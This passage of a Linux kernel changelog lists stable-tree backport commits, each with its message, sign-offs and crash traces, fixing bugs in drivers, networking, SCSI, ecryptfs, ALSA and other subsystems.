8(BANK_SZ) and hence results in 0 banks for PCA9536 which has just 4 gpios. This is wrong as PCA9356 has 1 bank with 4 gpios. This results in uninitialized PCA953X_INVERT register. Fix this by using DIV_ROUND_UP macro in NBANK(). Cc: stable@vger.kernel.org Signed-off-by: Vignesh R Signed-off-by: Linus Walleij Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2e3cd6ac3af3a864a219aef34bcad26a1c3d73ab Author: Vegard Nossum Date: Sat Jul 23 07:43:50 2016 +0200 net/irda: fix NULL pointer dereference on memory allocation failure commit d3e6952cfb7ba5f4bfa29d4803ba91f96ce1204d upstream. I ran into this: kasan: CONFIG_KASAN_INLINE enabled kasan: GPF could be caused by NULL-ptr deref or user memory access general protection fault: 0000 [#1] PREEMPT SMP KASAN CPU: 2 PID: 2012 Comm: trinity-c3 Not tainted 4.7.0-rc7+ #19 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 task: ffff8800b745f2c0 ti: ffff880111740000 task.ti: ffff880111740000 RIP: 0010:[] [] irttp_connect_request+0x36/0x710 RSP: 0018:ffff880111747bb8 EFLAGS: 00010286 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000069dd8358 RDX: 0000000000000009 RSI: 0000000000000027 RDI: 0000000000000048 RBP: ffff880111747c00 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000069dd8358 R11: 1ffffffff0759723 R12: 0000000000000000 R13: ffff88011a7e4780 R14: 0000000000000027 R15: 0000000000000000 FS: 00007fc738404700(0000) GS:ffff88011af00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fc737fdfb10 CR3: 0000000118087000 CR4: 00000000000006e0 Stack: 0000000000000200 ffff880111747bd8 ffffffff810ee611 ffff880119f1f220 ffff880119f1f4f8 ffff880119f1f4f0 ffff88011a7e4780 ffff880119f1f232 ffff880119f1f220 ffff880111747d58 ffffffff82bca542 0000000000000000 Call Trace: [] irda_connect+0x562/0x1190 [] SYSC_connect+0x202/0x2a0 [] SyS_connect+0x9/0x10 [] do_syscall_64+0x19c/0x410 [] entry_SYSCALL64_slow_path+0x25/0x25 Code: 41 89 ca 48 89 e5 41 57 41 56 41 55 41 54 41 89 d7 53 48 89 fb 48 83 c7 48 48 89 fa 41 89 f6 48 c1 ea 03 48 83 ec 20 4c 8b 65 10 <0f> b6 04 02 84 c0 74 08 84 c0 0f 8e 4c 04 00 00 80 7b 48 00 74 RIP [] irttp_connect_request+0x36/0x710 RSP ---[ end trace 4cda2588bc055b30 ]--- The problem is that irda_open_tsap() can fail and leave self->tsap = NULL, and then irttp_connect_request() almost immediately dereferences it. Cc: stable@vger.kernel.org Signed-off-by: Vegard Nossum Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f54474f486f15321446979289503ce9df2d02371 Author: James Bottomley Date: Fri May 13 12:04:06 2016 -0700 scsi_lib: correctly retry failed zero length REQ_TYPE_FS commands commit a621bac3044ed6f7ec5fa0326491b2d4838bfa93 upstream. When SCSI was written, all commands coming from the filesystem (REQ_TYPE_FS commands) had data. This meant that our signal for needing to complete the command was the number of bytes completed being equal to the number of bytes in the request. Unfortunately, with the advent of flush barriers, we can now get zero length REQ_TYPE_FS commands, which confuse this logic because they satisfy the condition every time. This means they never get retried even for retryable conditions, like UNIT ATTENTION because we complete them early assuming they're done. Fix this by special casing the early completion condition to recognise zero length commands with errors and let them drop through to the retry code. Reported-by: Sebastian Parschauer Signed-off-by: James E.J. Bottomley Tested-by: Jack Wang Signed-off-by: Martin K. Petersen [ jwang: backport from upstream 4.7 to fix scsi resize issue ] Signed-off-by: Jack Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9585b964a8bf972c5427e7cb1181cf4fc27cf4f2 Author: David Howells Date: Wed Jul 27 11:43:37 2016 +0100 KEYS: 64-bit MIPS needs to use compat_sys_keyctl for 32-bit userspace commit 20f06ed9f61a185c6dabd662c310bed6189470df upstream. MIPS64 needs to use compat_sys_keyctl for 32-bit userspace rather than calling sys_keyctl. The latter will work in a lot of cases, thereby hiding the issue. Reported-by: Stephan Mueller Signed-off-by: David Howells cc: stable@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: linux-security-module@vger.kernel.org Cc: keyrings@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13832/ Signed-off-by: Ralf Baechle Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 65b38673755e5dcf38d44ff1d1879b8887f77f59 Author: Andy Lutomirski Date: Tue Jan 12 12:47:40 2016 -0800 x86/mm: Improve switch_mm() barrier comments commit 4eaffdd5a5fe6ff9f95e1ab4de1ac904d5e0fa8b upstream. My previous comments were still a bit confusing and there was a typo. Fix it up. Reported-by: Peter Zijlstra Signed-off-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Hansen Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Rik van Riel Cc: Thomas Gleixner Cc: stable@vger.kernel.org Fixes: 71b3c126e611 ("x86/mm: Add barriers and document switch_mm()-vs-flush synchronization") Link: http://lkml.kernel.org/r/0a0b43cdcdd241c5faaaecfbcc91a155ddedc9a1.1452631609.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit aa0e718f56ceee1c0a75a683f25d452da5d4053f Author: Karl Heiss Date: Thu Sep 24 12:15:07 2015 -0400 sctp: Prevent soft lockup when sctp_accept() is called during a timeout event commit 635682a14427d241bab7bbdeebb48a7d7b91638e upstream. A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[] [] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: [] ? sctp_rcv+0x492/0xa10 [sctp] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? ip_local_deliver_finish+0xdd/0x2d0 [] ? ip_local_deliver+0x98/0xa0 [] ? ip_rcv_finish+0x12d/0x440 [] ? ip_rcv+0x275/0x350 [] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss Signed-off-by: David S. Miller [wt: adjusted, 3.10 uses sctp_bh_unlock_sock() instead of bh_lock_sock()] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9f36bcc638c588eca0a2fe9a02267072ecbfed41 Author: Dmitri Epshtein Date: Wed Jul 6 04:18:58 2016 +0200 net: mvneta: set real interrupt per packet for tx_done commit 06708f81528725148473c0869d6af5f809c6824b upstream. Commit aebea2ba0f74 ("net: mvneta: fix Tx interrupt delay") intended to set coalescing threshold to a value guaranteeing interrupt generation per each sent packet, so that buffers can be released with no delay. In fact setting threshold to '1' was wrong, because it causes interrupt every two packets. According to the documentation a reason behind it is following - interrupt occurs once sent buffers counter reaches a value, which is higher than one specified in MVNETA_TXQ_SIZE_REG(q). This behavior was confirmed during tests. Also when testing the SoC working as a NAS device, better performance was observed with int-per-packet, as it strongly depends on the fact that all transmitted packets are released immediately. This commit enables NETA controller work in interrupt per sent packet mode by setting coalescing threshold to 0. Signed-off-by: Dmitri Epshtein Signed-off-by: Marcin Wojtas Cc: # v3.10+ Fixes aebea2ba0f74 ("net: mvneta: fix Tx interrupt delay") Acked-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8a28b92068ec9dfa761ed16f27e90c1c28046e64 Author: Brian King Date: Mon Jun 27 09:09:40 2016 -0500 ipr: Clear interrupt on croc/crocodile when running with LSI commit 54e430bbd490e18ab116afa4cd90dcc45787b3df upstream. If we fall back to using LSI on the Croc or Crocodile chip we need to clear the interrupt so we don't hang the system. Cc: Tested-by: Benjamin Herrenschmidt Signed-off-by: Brian King Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7b1894da52c987ede06d397012a110b8c929a898 Author: Oliver Hartkopp Date: Tue Jun 21 15:45:47 2016 +0200 can: fix oops caused by wrong rtnl dellink usage commit 25e1ed6e64f52a692ba3191c4fde650aab3ecc07 upstream. For 'real' hardware CAN devices the netlink interface is used to set CAN specific communication parameters. Real CAN hardware can not be created nor removed with the ip tool ... This patch adds a private dellink function for the CAN device driver interface that does just nothing. It's a follow up to commit 993e6f2fd ("can: fix oops caused by wrong rtnl newlink usage") but for dellink. Reported-by: ajneu Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 931b9a3ad3f7ff6067ea724e205b06630bcb8a14 Author: Wolfgang Grandegger Date: Mon Jun 13 15:44:19 2016 +0200 can: at91_can: RX queue could get stuck at high bus load commit 43200a4480cbbe660309621817f54cbb93907108 upstream. At high bus load it could happen that "at91_poll()" enters with all RX message boxes filled up. If then at the end the "quota" is exceeded as well, "rx_next" will not be reset to the first RX mailbox and hence the interrupts remain disabled. Signed-off-by: Wolfgang Grandegger Tested-by: Amr Bekhit Cc: Signed-off-by: Marc Kleine-Budde Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2663077df156b281b843d6edc7ba3f94b84a6a89 Author: Taras Kondratiuk Date: Wed Jul 13 22:05:38 2016 +0000 mmc: block: fix packed command header endianness commit f68381a70bb2b26c31b13fdaf67c778f92fd32b4 upstream. The code that fills packed command header assumes that CPU runs in little-endian mode. Hence the header is malformed in big-endian mode and causes MMC data transfer errors: [ 563.200828] mmcblk0: error -110 transferring data, sector 2048, nr 8, cmd response 0x900, card status 0xc40 [ 563.219647] mmcblk0: packed cmd failed, nr 2, sectors 16, failure index: -1 Convert header data to LE. Signed-off-by: Taras Kondratiuk Fixes: ce39f9d17c14 ("mmc: support packed write command for eMMC4.5 devices") Cc: Signed-off-by: Ulf Hansson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2664c92dca3d537f3c7bcdd8b7a6819647a3cd31 Author: Ursula Braun Date: Mon Jul 4 14:07:16 2016 +0200 qeth: delete napi struct when removing a qeth device commit 7831b4ff0d926e0deeaabef9db8800ed069a2757 upstream. A qeth_card contains a napi_struct linked to the net_device during device probing. This struct must be deleted when removing the qeth device, otherwise Panic on oops can occur when qeth devices are repeatedly removed and added. Fixes: a1c3ed4c9ca ("qeth: NAPI support for l2 and l3 discipline") Cc: stable@vger.kernel.org # v2.6.37+ Signed-off-by: Ursula Braun Tested-by: Alexander Klein Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 69ea0dd4c3981d13c324279c5c3d4ef15c112e9a Author: Vineet Gupta Date: Thu Nov 5 09:13:31 2015 +0530 ARC: use ASL assembler mnemonic commit a6416f57ce57fb390b6ee30b12c01c29032a26af upstream. ARCompact and ARCv2 only have ASL, while binutils used to support LSL as a alias mnemonic. Newer binutils (upstream) don't want to do that so replace it. Signed-off-by: Vineet Gupta Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7a0944a1c600dc21aa1186d61eb5528fd81bde79 Author: Jeff Mahoney Date: Tue Jul 5 17:32:30 2016 -0400 ecryptfs: don't allow mmap when the lower fs doesn't support it commit f0fe970df3838c202ef6c07a4c2b36838ef0a88b upstream. There are legitimate reasons to disallow mmap on certain files, notably in sysfs or procfs. We shouldn't emulate mmap support on file systems that don't offer support natively. CVE-2016-1583 Signed-off-by: Jeff Mahoney [tyhicks: clean up f_op check by using ecryptfs_file_to_lower()] Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3bc1d3e7071be54642f32a63d428aa7fcc50a05a Author: Jeff Mahoney Date: Tue Jul 5 17:32:29 2016 -0400 Revert "ecryptfs: forbid opening files without mmap handler" commit 78c4e172412de5d0456dc00d2b34050aa0b683b5 upstream. This reverts commit 2f36db71009304b3f0b95afacd8eba1f9f046b87. It fixed a local root exploit but also introduced a dependency on the lower file system implementing an mmap operation just to open a file, which is a bit of a heavy hammer. The right fix is to have mmap depend on the existence of the mmap handler instead. Signed-off-by: Jeff Mahoney Signed-off-by: Tyler Hicks Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cb02eb2f932939f5e77e13c5c08f59656535ac80 Author: Andrey Grodzovsky Date: Tue Jun 21 14:26:36 2016 -0400 xen/pciback: Fix conf_space read/write overlap check. commit 02ef871ecac290919ea0c783d05da7eedeffc10e upstream. Current overlap check is evaluating to false a case where a filter field is fully contained (proper subset) of a r/w request. This change applies classical overlap check instead to include all the scenarios. More specifically, for (Hilscher GmbH CIFX 50E-DP(M/S)) device driver the logic is such that the entire confspace is read and written in 4 byte chunks. In this case as an example, CACHE_LINE_SIZE, LATENCY_TIMER and PCI_BIST are arriving together in one call to xen_pcibk_config_write() with offset == 0xc and size == 4. With the exsisting overlap check the LATENCY_TIMER field (offset == 0xd, length == 1) is fully contained in the write request and hence is excluded from write, which is incorrect. Signed-off-by: Andrey Grodzovsky Reviewed-by: Boris Ostrovsky Reviewed-by: Jan Beulich Cc: Signed-off-by: David Vrabel Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 805caa6529821fe57f48f811b95b5164a3a4a202 Author: Alexey Brodkin Date: Thu Jun 23 11:00:39 2016 +0300 arc: unwind: warn only once if DW2_UNWIND is disabled commit 9bd54517ee86cb164c734f72ea95aeba4804f10b upstream. If CONFIG_ARC_DW2_UNWIND is disabled every time arc_unwind_core() gets called following message gets printed in debug console: ----------------->8--------------- CONFIG_ARC_DW2_UNWIND needs to be enabled ----------------->8--------------- That message makes sense if user indeed wants to see a backtrace or get nice function call-graphs in perf but what if user disabled unwinder for the purpose? Why pollute his debug console? So instead we'll warn user about possibly missing feature once and let him decide if that was what he or she really wanted. Signed-off-by: Alexey Brodkin Cc: stable@vger.kernel.org Signed-off-by: Vineet Gupta Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1d84cb4f5d00b9ad6c07a58f1fe2ea0391d6945c Author: Torsten Hilbrich Date: Fri Jun 24 14:50:18 2016 -0700 fs/nilfs2: fix potential underflow in call to crc32_le commit 63d2f95d63396059200c391ca87161897b99e74a upstream. The value `bytes' comes from the filesystem which is about to be mounted. We cannot trust that the value is always in the range we expect it to be. Check its value before using it to calculate the length for the crc32_le call. It value must be larger (or equal) sumoff + 4. This fixes a kernel bug when accidentially mounting an image file which had the nilfs2 magic value 0x3434 at the right offset 0x406 by chance. The bytes 0x01 0x00 were stored at 0x408 and were interpreted as a s_bytes value of 1. This caused an underflow when substracting sumoff + 4 (20) in the call to crc32_le. BUG: unable to handle kernel paging request at ffff88021e600000 IP: crc32_le+0x36/0x100 ... Call Trace: nilfs_valid_sb.part.5+0x52/0x60 [nilfs2] nilfs_load_super_block+0x142/0x300 [nilfs2] init_nilfs+0x60/0x390 [nilfs2] nilfs_mount+0x302/0x520 [nilfs2] mount_fs+0x38/0x160 vfs_kern_mount+0x67/0x110 do_mount+0x269/0xe00 SyS_mount+0x9f/0x100 entry_SYSCALL_64_fastpath+0x16/0x71 Link: http://lkml.kernel.org/r/1466778587-5184-2-git-send-email-konishi.ryusuke@lab.ntt.co.jp Signed-off-by: Torsten Hilbrich Tested-by: Torsten Hilbrich Signed-off-by: Ryusuke Konishi Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c23b1310727be7a4b332a5172f556d7d048a30ad Author: Jan Willeke Date: Tue Jul 22 16:50:57 2014 +0200 s390/seccomp: fix error return for filtered system calls commit dc295880c6752076f8b94ba3885d0bfff09e3e82 upstream. The syscall_set_return_value function of s390 negates the error argument before storing the value to the return register gpr2. This is incorrect, the seccomp code already passes the negative error value. Store the unmodified error value to gpr2. Signed-off-by: Jan Willeke Signed-off-by: Martin Schwidefsky Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a7921efeb7f694ceaf07f2c0ac05b6e0f96e6e78 Author: Jan Beulich Date: Fri Jul 8 06:15:07 2016 -0600 xen/acpi: allow xen-acpi-processor driver to load on Xen 4.7 commit 6f2d9d99213514360034c6d52d2c3919290b3504 upstream. As of Xen 4.7 PV CPUID doesn't expose either of CPUID[1].ECX[7] and CPUID[0x80000007].EDX[7] anymore, causing the driver to fail to load on both Intel and AMD systems. Doing any kind of hardware capability checks in the driver as a prerequisite was wrong anyway: With the hypervisor being in charge, all such checking should be done by it. If ACPI data gets uploaded despite some missing capability, the hypervisor is free to ignore part or all of that data. Ditch the entire check_prereq() function, and do the only valid check (xen_initial_domain()) in the caller in its place. Signed-off-by: Jan Beulich Cc: Signed-off-by: David Vrabel Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6b7a3cba56794c312bd89cd2656b534bd4fab559 Author: Steve French Date: Wed Jun 22 20:12:05 2016 -0500 Fix reconnect to not defer smb3 session reconnect long after socket reconnect commit 4fcd1813e6404dd4420c7d12fb483f9320f0bf93 upstream. Azure server blocks clients that open a socket and don't do anything on it. In our reconnect scenarios, we can reconnect the tcp session and detect the socket is available but we defer the negprot and SMB3 session setup and tree connect reconnection until the next i/o is requested, but this looks suspicous to some servers who expect SMB3 negprog and session setup soon after a socket is created. In the echo thread, reconnect SMB3 sessions and tree connections that are disconnected. A later patch will replay persistent (and resilient) handle opens. Signed-off-by: Steve French Acked-by: Pavel Shilovsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5e41811268f023744a7bcb04bfe673387a3fb23e Author: Christoph Hellwig Date: Thu May 1 16:51:03 2014 +0200 scsi: remove scsi_end_request commit bc85dc500f9df9b2eec15077e5046672c46adeaa upstream. By folding scsi_end_request into its only caller we can significantly clean up the completion logic. We can use simple goto labels now to only have a single place to finish or requeue command there instead of the previous convoluted logic. Signed-off-by: Christoph Hellwig Reviewed-by: Nicholas Bellinger Reviewed-by: Mike Christie Reviewed-by: Hannes Reinecke [jwang: backport to 3.12] Signed-off-by: Jack Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 575954e2a9dfed938de901055144fb4431104141 Author: Wei Fang Date: Tue Jun 7 14:53:56 2016 +0800 scsi: fix race between simultaneous decrements of ->host_failed commit 72d8c36ec364c82bf1bf0c64dfa1041cfaf139f7 upstream. sas_ata_strategy_handler() adds the works of the ata error handler to system_unbound_wq. This workqueue asynchronously runs work items, so the ata error handler will be performed concurrently on different CPUs. In this case, ->host_failed will be decreased simultaneously in scsi_eh_finish_cmd() on different CPUs, and become abnormal. It will lead to permanently inequality between ->host_failed and ->host_busy, and scsi error handler thread won't start running. IO errors after that won't be handled. Since all scmds must have been handled in the strategy handler, just remove the decrement in scsi_eh_finish_cmd() and zero ->host_busy after the strategy handler to fix this race. Fixes: 50824d6c5657 ("[SCSI] libsas: async ata-eh") Cc: stable@vger.kernel.org Signed-off-by: Wei Fang Reviewed-by: James Bottomley Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5a8e8252937a99c4cf3aaa8194a17f6d05857f8a Author: Takashi Iwai Date: Fri Jul 8 08:05:19 2016 +0200 ALSA: ctl: Stop notification after disconnection commit f388cdcdd160687c6650833f286b9c89c50960ff upstream. snd_ctl_remove() has a notification for the removal event. It's superfluous when done during the device got disconnected. Although the notification itself is mostly harmless, it may potentially be harmful, and should be suppressed. Actually some components PCM may free ctl elements during the disconnect or free callbacks, thus it's no theoretical issue. This patch adds the check of card->shutdown flag for avoiding unnecessary notifications after (or during) the disconnect. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 41f0b767eaa3e68c27f95c435cda43a0077ac55a Author: Takashi Iwai Date: Wed Jun 29 15:23:08 2016 +0200 ALSA: au88x0: Fix calculation in vortex_wtdma_bufshift() commit 62db7152c924e4c060e42b34a69cd39658e8a0dc upstream. vortex_wtdma_bufshift() function does calculate the page index wrongly, first masking then shift, which always results in zero. The proper computation is to first shift, then mask. Reported-by: Dan Carpenter Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3720c3c2f8ef119782e216217487ecd0b89478e5 Author: Takashi Iwai Date: Fri Jun 24 15:15:26 2016 +0200 ALSA: dummy: Fix a use-after-free at closing commit d5dbbe6569481bf12dcbe3e12cff72c5f78d272c upstream. syzkaller fuzzer spotted a potential use-after-free case in snd-dummy driver when hrtimer is used as backend: > ================================================================== > BUG: KASAN: use-after-free in rb_erase+0x1b17/0x2010 at addr ffff88005e5b6f68 > Read of size 8 by task syz-executor/8984 > ============================================================================= > BUG kmalloc-192 (Not tainted): kasan: bad access detected > ----------------------------------------------------------------------------- > > Disabling lock debugging due to kernel taint > INFO: Allocated in 0xbbbbbbbbbbbbbbbb age=18446705582212484632 > .... > [< none >] dummy_hrtimer_create+0x49/0x1a0 sound/drivers/dummy.c:464 > .... > INFO: Freed in 0xfffd8e09 age=18446705496313138713 cpu=2164287125 pid=-1 > [< none >] dummy_hrtimer_free+0x68/0x80 sound/drivers/dummy.c:481 > .... > Call Trace: > [] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:333 > [< inline >] rb_set_parent include/linux/rbtree_augmented.h:111 > [< inline >] __rb_erase_augmented include/linux/rbtree_augmented.h:218 > [] rb_erase+0x1b17/0x2010 lib/rbtree.c:427 > [] timerqueue_del+0x78/0x170 lib/timerqueue.c:86 > [] __remove_hrtimer+0x90/0x220 kernel/time/hrtimer.c:903 > [< inline >] remove_hrtimer kernel/time/hrtimer.c:945 > [] hrtimer_try_to_cancel+0x22a/0x570 kernel/time/hrtimer.c:1046 > [] hrtimer_cancel+0x22/0x40 kernel/time/hrtimer.c:1066 > [] dummy_hrtimer_stop+0x91/0xb0 sound/drivers/dummy.c:417 > [] dummy_pcm_trigger+0x17f/0x1e0 sound/drivers/dummy.c:507 > [] snd_pcm_do_stop+0x160/0x1b0 sound/core/pcm_native.c:1106 > [] snd_pcm_action_single+0x76/0x120 sound/core/pcm_native.c:956 > [] snd_pcm_action+0x231/0x290 sound/core/pcm_native.c:974 > [< inline >] snd_pcm_stop sound/core/pcm_native.c:1139 > [] snd_pcm_drop+0x12d/0x1d0 sound/core/pcm_native.c:1784 > [] snd_pcm_common_ioctl1+0xfae/0x2150 sound/core/pcm_native.c:2805 > [] snd_pcm_capture_ioctl1+0x2a1/0x5e0 sound/core/pcm_native.c:2976 > [] snd_pcm_kernel_ioctl+0x11c/0x160 sound/core/pcm_native.c:3020 > [] snd_pcm_oss_sync+0x3a4/0xa30 sound/core/oss/pcm_oss.c:1693 > [] snd_pcm_oss_release+0x1ad/0x280 sound/core/oss/pcm_oss.c:2483 > ..... A workaround is to call hrtimer_cancel() in dummy_hrtimer_sync() which is called certainly before other blocking ops. Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Cc: Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 06b5dfe3cb36c578bacd77a4f62e7afa25e814d4 Author: Dmitry Torokhov Date: Mon Jun 27 14:12:34 2016 -0700 tty/vt/keyboard: fix OOB access in do_compute_shiftstate() commit 510cccb5b0c8868a2b302a0ab524da7912da648b upstream. The size of individual keymap in drivers/tty/vt/keyboard.c is NR_KEYS, which is currently 256, whereas number of keys/buttons in input device (and therefor in key_down) is much larger - KEY_CNT - 768, and that can cause out-of-bound access when we do sym = U(key_maps[0][k]); with large 'k'. To fix it we should not attempt iterating beyond smaller of NR_KEYS and KEY_CNT. Also while at it let's switch to for_each_set_bit() instead of open-coding it. Reported-by: Sasha Levin Reviewed-by: Guenter Roeck Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6d36a57b3a4f055d9edbca2406212adf038d250d Author: Mark Brown Date: Mon Jun 20 13:53:34 2016 +0100 iio:ad7266: Fix probe deferral for vref commit 68b356eb3d9f5e38910fb62e22a78e2a18d544ae upstream. Currently the ad7266 driver treats any failure to get vref as though the regulator were not present but this means that if probe deferral is triggered the driver will act as though the regulator were not present. Instead only use the internal reference if we explicitly got -ENODEV which is what is returned for absent regulators. Signed-off-by: Mark Brown Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 71eb9d792710604eeee87f9d2d763614afa7433e Author: Mark Brown Date: Mon Jun 20 13:53:32 2016 +0100 iio:ad7266: Fix broken regulator error handling commit 6b7f4e25f3309f106a5c7ff42c8231494cf285d3 upstream. All regulator_get() variants return either a pointer to a regulator or an ERR_PTR() so testing for NULL makes no sense and may lead to bugs if we use NULL as a valid regulator. Fix this by using IS_ERR() as expected. Signed-off-by: Mark Brown Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 10a3491db2464788fbbb594e9011616d112e2049 Author: Linus Walleij Date: Fri Jun 17 15:22:24 2016 +0200 iio: accel: kxsd9: fix the usage of spi_w8r8() commit 0c1f91b98552da49d9d8eed32b3132a58d2f4598 upstream. These two spi_w8r8() calls return a value with is used by the code following the error check. The dubious use was caused by a cleanup patch. Fixes: d34dbee8ac8e ("staging:iio:accel:kxsd9 cleanup and conversion to iio_chan_spec.") Signed-off-by: Linus Walleij Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eb52fe8e36cbc9a3057347966e80c5e6eef2480d Author: Luis de Bethencourt Date: Wed Jun 22 20:43:30 2016 +0100 staging: iio: accel: fix error check commit ef3149eb3ddb7f9125e11c90f8330e371b55cffd upstream. sca3000_read_ctrl_reg() returns a negative number on failure, check for this instead of zero. Signed-off-by: Luis de Bethencourt Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c6ab0863f617f8ec9ff09cc3bd9375daabad3eaf Author: Crestez Dan Leonard Date: Tue May 3 15:27:09 2016 +0300 iio: Fix error handling in iio_trigger_attach_poll_func commit 99543823357966ac938d9a310947e731b67338e6 upstream. When attaching a pollfunc iio_trigger_attach_poll_func will allocate a virtual irq and call the driver's set_trigger_state function. Fix error handling to undo previous steps if any fails. In particular this fixes handling errors from a driver's set_trigger_state function. When using triggered buffers a failure to enable the trigger used to make the buffer unusable. Signed-off-by: Crestez Dan Leonard Cc: Signed-off-by: Jonathan Cameron Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 65df27380789f45701cd6cfdbf3427289f6d2de0 Author: Jiri Slaby Date: Fri Jun 10 10:54:32 2016 +0200 base: make module_create_drivers_dir race-free commit 7e1b1fc4dabd6ec8e28baa0708866e13fa93c9b3 upstream. Modules which register drivers via standard path (driver_register) in parallel can cause a warning: WARNING: CPU: 2 PID: 3492 at ../fs/sysfs/dir.c:31 sysfs_warn_dup+0x62/0x80 sysfs: cannot create duplicate filename '/module/saa7146/drivers' Modules linked in: hexium_gemini(+) mxb(+) ... ... Call Trace: ... [] sysfs_warn_dup+0x62/0x80 [] sysfs_create_dir_ns+0x77/0x90 [] kobject_add_internal+0xb4/0x340 [] kobject_add+0x68/0xb0 [] kobject_create_and_add+0x31/0x70 [] 